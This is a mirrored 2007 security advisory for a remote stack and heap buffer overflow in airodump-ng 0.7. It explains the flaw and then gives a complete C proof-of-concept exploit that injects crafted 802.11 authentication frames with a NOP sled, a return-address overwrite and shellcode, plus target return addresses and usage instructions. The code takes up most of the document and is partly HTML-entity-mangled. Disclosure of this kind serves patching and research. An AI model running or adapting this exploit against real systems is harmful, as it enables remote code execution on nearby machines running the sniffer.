Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16698
HistoryApr 13, 2007 - 12:00 a.m.

Aircrack-ng (airodump-ng) remote buffer overflow vulnerability

2007-04-1300:00:00
vulners.com
13

Product Name: Aircrack-ng (0.7)
Vendor: http://www.aircrack-ng.org
Date: 13 April, 2007
Author: Jonathan So < jonny [ @ ] nop-art [ dot ] net>
Advisory URL: http://www.nop-art.net/advisories/airodump-ng.txt

I. DESCRIPTION

A buffer overflow vulnerability has been found in airodump-ng, part of
the aircrack-ng package. The vulnerability could allow an attacker to
transmit specially crafted 802.11 packets to execute arbitrary code on
a remote machine running the airodump-ng tool.

II. DETAILS

Airodump-ng fails to check the size of 802.11 authentication packets
before copying into an insufficiently sized global buffer. As a result
it is possible to overwrite another global variable passed as the size
parameter to a subsequent memcpy() operation, in order to overflow a
stack buffer. Airodump-ng must be logging packets with the -w or
–write option to be vulnerable to this attack. The wireless device
must also be capturing packets in monitor mode.

This vulnerability has been successfully exploited against on an x86
Linux 2.6.20 machine running airodump-ng 0.7. Other versions and
platforms are also likely to be affected.

III. CREDIT

Discovered by Jonathan So
Additional thanks to Ash Willis

IV. EXPLOIT

/**

  • airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit
  • Proof of concept exploit for a stack (and heap) based
  • overflow in airodump-ng. The vulnerability can be exploited
  • by transmitting some specially crafted 802.11 packets to
  • execute arbitrary code on any machines within range
  • that are sniffing with a vulnerable version of airodump-ng.
  • This exploit requires the lorcon 802.11 packet injection
  • library, see http://802.11ninja.net for details.
  • Compiling:
  • gcc -o airodump-remote airodump-remote.c -lorcon
  • Usage:
  • ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]
  • Drivers supported by lorcon:
  • wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,
  • rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw
  • Header types:
  • 0 - None (not tested)
  • 1 - Fake prism54 header
  • 2 - Fake radiotap header (not tested)
  • Return addresses:
  • Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934
  • Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934
  • Example usage:
  • ./airodump-ng wlan0 prism54 11 1 0x8054934
  • Original advisory: http://www.nop-art.net/advisories/airodump-ng.txt
  • Author: Jonathan So [ jonny [ @ ] nop-art.net ]
  • Copyright (C) 2007 Jonathan So
    */

#include <stdio.h>
#include <stdlib.h>
#include <tx80211.h>

// Linux x86 sys_write shellcode. Any arbitrary shellcode should work
// here, it doesn't matter if it contains nulls. Maximum 792 bytes.

char shellcode[] =
"\xeb\x14" // jmp get_message

               // start:
               &quot;&#92;x59&#92;x31&#92;xdb&#92;x31&#92;xd2&#92;xb2&quot;
               &quot;&#92;x1b&quot; // message length
               &quot;&#92;x31&#92;xc0&#92;x88&#92;x04&#92;x11&quot;
               &quot;&#92;xb0&#92;x04&#92;xcd&#92;x80&quot; // sys_write
               &quot;&#92;xb0&#92;x01&#92;xcd&#92;x80&quot; // sys_exit

               // get_message:
               &quot;&#92;xe8&#92;xe7&#92;xff&#92;xff&#92;xff&quot; // call start 
               &quot;Stop sniffing our network!!&quot;; // message text

int main(int argc, char **argv)
{
tx80211_t tx;
tx80211_packet_t txp;
uint8_t packet[1044];
uint8_t *ppacket;

int headertype;
unsigned ret_addr = 0x8054934;
FILE *fp;

if&#40;argc&lt;5&#41; {
    printf&#40;&quot;usage: &#37;s &lt;interface&gt; &lt;driver&gt; &lt;channel&gt; &lt;arptype&gt; [ret_addr]&#92;n&quot;, argv[0]&#41;;
    exit&#40;1&#41;;
}

if&#40;argc&gt;5&#41; {
    ret_addr = strtoul&#40;argv[5], NULL, 16&#41;;
}

headertype = atoi&#40;argv[4]&#41;;
    
if &#40; tx80211_init&#40;&amp;tx, argv[1], tx80211_resolvecard&#40;argv[2]&#41;&#41; != TX80211_ENOERR&#41; {
    fprintf&#40;stderr, &quot;Error initializing driver&quot;&#41;;
    return 1;
}

if &#40;tx80211_setfunctionalmode&#40;&amp;tx, TX80211_FUNCMODE_INJMON&#41; != TX80211_ENOERR&#41; {
    fprintf&#40;stderr, &quot;Error setting inject mode&#92;n&quot;&#41;;
    return 1;
}

if &#40;tx80211_setchannel&#40;&amp;tx, atoi&#40;argv[3]&#41;&#41; &lt; 0&#41; {
            fprintf&#40;stderr, &quot;Error setting channel&#92;n&quot;&#41;;
}

if &#40;tx80211_open&#40;&amp;tx&#41; &lt; 0&#41; {
    fprintf&#40;stderr, &quot;Unable to open interface&#92;n&quot;&#41;;
    return 1;
}

txp.packet = packet;

// Fill packet with nops
memset&#40;packet, 0x90, sizeof&#40;packet&#41;&#41;;

switch &#40;headertype&#41; {
    case 0:
        // No arptype, just send raw packet
        ppacket = packet;
        break;
    case 1:
        // Send fake prism header
        memcpy&#40;packet+4, &quot;&#92;x08&#92;x00&#92;x00&#92;x00&quot;, 4&#41;;
        ppacket = packet + 8;
        break;
    case 2:
        // Send fake radiotap header
        packet[0] = 0;
        packet[2] = 3;
        ppacket = packet + 3;
        break;
    default:
        printf&#40;&quot;Invalid header type. Valid options are:&#92;n&quot;&#41;;
        printf&#40;&quot;  0 - none&#92;n&quot;&#41;;
        printf&#40;&quot;  1 - prism54&#92;n&quot;&#41;;
        printf&#40;&quot;  2 - radiotap&#92;n&quot;&#41;;
        return 1;
}

// set some necessary 802.11 header fields
ppacket[0] = 0xB0;
ppacket[1] = 0;
ppacket[24] = 1;
ppacket[25] = 0;
ppacket[26] = 2;
ppacket[27] = 0;

txp.plen = 512 + &#40;ppacket - packet&#41;;
if &#40;tx80211_txpacket&#40;&amp;tx, &amp;txp&#41; &lt; txp.plen&#41; {
    fprintf&#40;stderr, &quot;Error sending packet 1&#92;n&quot;&#41;;
    return 1;
}

ppacket[26] = 4;

if &#40;tx80211_txpacket&#40;&amp;tx, &amp;txp&#41; &lt; txp.plen&#41; {
    fprintf&#40;stderr, &quot;Error sending packet 2&#92;n&quot;&#41;;
    return 1;
}

// Insert shellcode at end of nopsled
memcpy&#40;ppacket+&#40;820-sizeof&#40;shellcode&#41;&#41;, shellcode, sizeof&#40;shellcode&#41;&#41;;

// Overwrite some char*, needs to be a valid address
memcpy&#40;ppacket+1028, &amp;ret_addr, 4&#41;;

// Overwrite global variable sk_len, used as argument to memcpy
memcpy&#40;ppacket+1032, &quot;&#92;x20&#92;x05&#92;x00&#92;x00&quot;, 4&#41;;

// Return address
memcpy&#40;ppacket+820, &amp;ret_addr, 4&#41;;

ppacket[1] = 0x40;
txp.plen = 1036 +  + &#40;ppacket - packet&#41;;

if &#40;tx80211_txpacket&#40;&amp;tx, &amp;txp&#41; &lt; txp.plen&#41; {
    fprintf&#40;stderr, &quot;Error sending packet 3&#92;n&quot;&#41;;
    return 1;
}

tx80211_close&#40;&amp;tx&#41;;

return 0;

}